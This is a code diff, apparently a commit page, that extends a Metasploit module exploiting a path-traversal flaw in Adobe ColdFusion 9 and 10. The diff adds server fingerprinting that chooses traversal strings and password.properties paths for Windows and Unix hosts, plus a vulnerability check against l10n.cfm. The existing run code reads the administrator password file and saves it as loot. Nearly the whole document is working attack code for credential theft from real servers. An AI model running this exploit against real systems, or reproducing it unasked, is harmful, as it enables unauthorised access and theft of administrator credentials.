@@ -29,7 +29,8 @@ def initialize(info = {})
29
29
'Author' =>
30
30
[
31
31
'HTP' ,
32
- 'sinn3r'
32
+ 'sinn3r' ,
33
+ 'nebulus'
33
34
] ,
34
35
'License' => MSF_LICENSE ,
35
36
'Actions' =>
@@ -43,7 +44,8 @@ def initialize(info = {})
43
44
44
45
register_options (
45
46
[
46
- Opt ::RPORT ( 8500 ) ,
47
+ Opt ::RPORT ( 80 ) ,
48
+ OptBool . new ( 'CHECK' , [ false , 'Only check for vulnerability' , false ] ) ,
47
49
OptString . new ( "TARGETURI" , [ true , 'Base path to ColdFusion' , '/' ] )
48
50
] , self . class )
49
51
end
@@ -52,15 +54,137 @@ def peer
52
54
"#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } "
53
55
end
54
56
57
+ def fingerprint ( response )
58
+
59
+ if ( response . headers . has_key? ( 'Server' ) )
60
+ if ( response . headers [ 'Server' ] =~ /IIS/ or response . headers [ 'Server' ] =~ /\( Windows/ )
61
+ os = "Windows (#{ response . headers [ 'Server' ] } )"
62
+ elsif ( response . headers [ 'Server' ] =~ /Apache\/ / )
63
+ os = "Unix (#{ response . headers [ 'Server' ] } )"
64
+ else
65
+ os = response . headers [ 'Server' ]
66
+ end
67
+ end
68
+
69
+ return nil if response . body . length < 100
70
+
71
+ title = "Not Found"
72
+ response . body . gsub! ( /[\r \n ]/ , '' )
73
+ if ( response . body =~ /<title.*\/ ?>(.+)<\/ title\/ ?>/i )
74
+ title = $1
75
+ title . gsub! ( /\s / , '' )
76
+ end
77
+ return nil if ( title == 'Not Found' or not title =~ /ColdFusionAdministrator/ )
78
+
79
+ out = nil
80
+
81
+ if ( response . body =~ />\s *Version:\s *(.*)<\/ strong\> <br\s \/ / )
82
+ v = $1
83
+ out = ( v =~ /^6/ ) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"
84
+ elsif ( response . body =~ /<meta name=\" Author\" content=\" Copyright 1995-2012 Adobe/ and response . body =~ /Administrator requires a browser that supports frames/ )
85
+ out = "Adobe ColdFusion MX7 (Not Vulnerable)"
86
+ elsif ( response . body =~ /<meta name=\" Author\" content=\" Copyright \( c\) 1995-2006 Adobe/ )
87
+ out = "Adobe ColdFusion 8 (Not Vulnerable)"
88
+ elsif ( response . body =~ /<meta name=\" Author\" content=\" Copyright \( c\) 1995-2010 Adobe/ or
89
+ response . body =~ /<meta name=\" Author\" content=\" Copyright \( c\) 1995\- 2009 Adobe Systems\, Inc\. All rights reserved/ )
90
+ out = "Adobe ColdFusion 9"
91
+ elsif ( response . body =~ /<meta name=\" Keywords\" content=\" (.*)\" >\s +<meta name/ )
92
+ out = $1. split ( /,/ ) [ 0 ]
93
+ else
94
+ out = 'Unknown ColdFusion'
95
+ end
96
+
97
+ if ( title . downcase == 'coldfusionadministrator' )
98
+ out << " (you have administrator access)"
99
+ end
100
+
101
+ out << " (#{ os } )"
102
+ file = ''
103
+ trav = ''
104
+ if ( os =~ /Windows/ )
105
+ trav = '..\..\..\..\..\..\..\..\..\..'
106
+ file = ( out =~ /ColdFusion 9/ ) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'
107
+ else
108
+ trav = '../../../../../../../../../..'
109
+ file = ( out =~ /ColdFusion 9/ ) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'
110
+ end
111
+
112
+ if ( response . body =~ /Adobe/ and response . body =~ /ColdFusion/ and file == '' )
113
+ print_error ( "#{ peer } Fingerprint failed...aborting" )
114
+ print_status ( "response: #{ response . body } " )
115
+ return nil , nil
116
+ end
117
+
118
+ return out , "#{ trav } #{ file } "
119
+ end
120
+
121
+ def check
122
+ vuln = false
123
+ url = '/CFIDE/adminapi/customtags/l10n.cfm'
124
+ res = send_request_cgi ( {
125
+ 'uri' => url ,
126
+ 'method' => 'GET' ,
127
+ 'Connection' => "keep-alive" ,
128
+ 'Accept-Encoding' => "zip,deflate" ,
129
+ } )
130
+
131
+ if ( res != nil )
132
+ # can't stack b/c res.code won't exist if res is nil
133
+ vuln = true if ( res . code == 500 and res . body =~ /attributes\. id was not provided/ )
134
+ end
135
+
136
+ if ( vuln )
137
+ url = '/CFIDE/administrator/mail/download.cfm'
138
+ res = send_request_cgi ( {
139
+ 'uri' => url ,
140
+ 'method' => 'GET' ,
141
+ 'Connection' => "keep-alive" ,
142
+ 'Accept-Encoding' => "zip,deflate" ,
143
+ } )
144
+ if ( res != nil )
145
+ vuln = false if ( res . code != 200 )
146
+ end
147
+ end
148
+
149
+ return vuln
150
+ end
151
+
152
+
55
153
def run
56
154
filename = ""
57
- case action . name
58
- when 'ColdFusion10'
59
- filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
60
- when 'ColdFusion9'
61
- filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
155
+
156
+ url = '/CFIDE/administrator/index.cfm'
157
+ # print_status("Getting index...")
158
+ res = send_request_cgi ( {
159
+ 'uri' => url ,
160
+ 'method' => 'GET' ,
161
+ 'Connection' => "keep-alive" ,
162
+ 'Accept-Encoding' => "zip,deflate" ,
163
+ } )
164
+ # print_status("Got back: #{res.inspect}")
165
+ return if not res
166
+ return if not res . body or not res . code
167
+ return if not res . code . to_i == 200
168
+
169
+ out , filename = fingerprint ( res )
170
+ print_status ( "#{ peer } #{ out } " ) if out
171
+
172
+ if ( out =~ /Not Vulnerable/ )
173
+ print_status ( "#{ peer } isn't vulnerable to this attack" )
174
+ return
62
175
end
63
176
177
+ if ( not check )
178
+ print_status ( "#{ peer } can't be exploited (either files missing or permissions block access)" )
179
+ return
180
+ end
181
+
182
+ if ( datastore [ 'CHECK' ] )
183
+ print_good ( "#{ peer } is vulnerable and most likely exploitable" ) if check
184
+ return
185
+ end
186
+
187
+
64
188
res = send_request_cgi ( {
65
189
'method' => 'GET' ,
66
190
'uri' => normalize_uri ( target_uri . path , 'CFIDE' , 'adminapi' , 'customtags' , 'l10n.cfm' ) ,
@@ -102,5 +226,4 @@ def run
102
226
p = store_loot ( 'coldfusion.password.properties' , 'text/plain' , rhost , res . body )
103
227
print_good ( "#{ peer } - password.properties stored in '#{ p } '" )
104
228
end
105
-
106
- end
229
+ end
0 commit comments